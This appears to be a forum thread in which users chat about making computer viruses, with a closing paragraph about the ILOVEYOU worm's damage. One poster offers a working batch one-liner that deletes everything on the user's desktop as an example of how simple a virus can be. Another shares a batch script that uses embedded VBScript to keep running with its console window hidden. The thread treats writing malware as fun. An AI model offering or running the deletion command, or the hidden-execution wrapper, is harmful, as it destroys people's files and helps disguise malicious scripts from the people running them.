I want someone to make the opposite of the ILOVEYOU virus,saying IHATEYOU, and when you click the program,it locks you in a picture with the Rage Face saying “GAAH,I HATE YOU!” Just thought it would be cool

Sadly, my kumquats were eaten by an evil forum signature.

When you get down to it, viruses are extremely easy to make.
I've made a few using languages like BASIC VB.NET batch VBS, they basically use default commands maliciously.
If your interested a virus can be as simply as this
cd “%userprofile%\desktop” && del *.* && del * && rmdir * -batch
Also, heres another example of the simplicity of it. made by me ofcourse Here.
I find viruses/trojans etc fun to make… but hey, thats just me

I believe you, but I'm still a rookie in programming and therefore don't know how to do advanced programming example C++

I just had an idea on how to a batch file could hide itself… I am using a Mac, but I could try it on a Windows virtual machine.
EDIT: Also, by hide, I don't mean hiding the file. I mean hiding the cmd window.

Ok done. This isn't a virus. When clicked, a cmd window will flash and disappear. What it does is creates a vbs file which runs the batch file hidden with the first parameter set to “1” so that the batch script knows that it is hidden and goes to the label “:label_end” to close the cmd window. If this works, it will create a file called readme.txt with the contents “it works!” and pauses. If you open Task Manager you will notice the script is still running in the background.
@ECHO OFF
set temp=%~sf0
if NOT "%1"=="1" (
:CreateObject("Wscript.Shell").Run "%temp% 1",0,False
findstr "^:" "%~sf0" | findstr /i /v ":label">temp.vbs & cscript //nologo temp.vbs & del temp.vbs
goto label_end
)

rem your script goes here
echo it works! > readme.txt
pause

:label_end

EDIT: Please make all your labels start with “label” so the script doesn't try to run the label name as vbscript. I found the script to embed vbscript in batch here

I'm going on a programming competition for that code, that's why :3
And my IT teacher says it's too hard now because of the math and that =3= But, I believe him.
I searched and read through some tutorials too, I agree. Oh, Semblance!!
How did you make that game??? ;-;

The ILOVEYOU virus was probably made by someone in my country.

The worm originated near Manila in the Philippines on May 5, 2000, thereafter following daybreak westward across the world, moving first to Hong Kong, then to Europe, and finally the US, as employees began their workday that Friday morning. The outbreak was later estimated to have caused US $5.5-8.7 billion in damages worldwide, and estimated to cost US $15 billion to remove the worm. Within ten days, over fifty million infections had been reported, and it is estimated that 10% of internet-connected computers in the world had been affected. Damage cited was mostly the time and effort spent getting rid of the infection and recovering files from backups. To protect themselves, The Pentagon, CIA, the British Parliament and most large corporations decided to completely shut down their mail systems. This virus affected over 45 million computers and was one of the world's most dangerous computer related disasters.
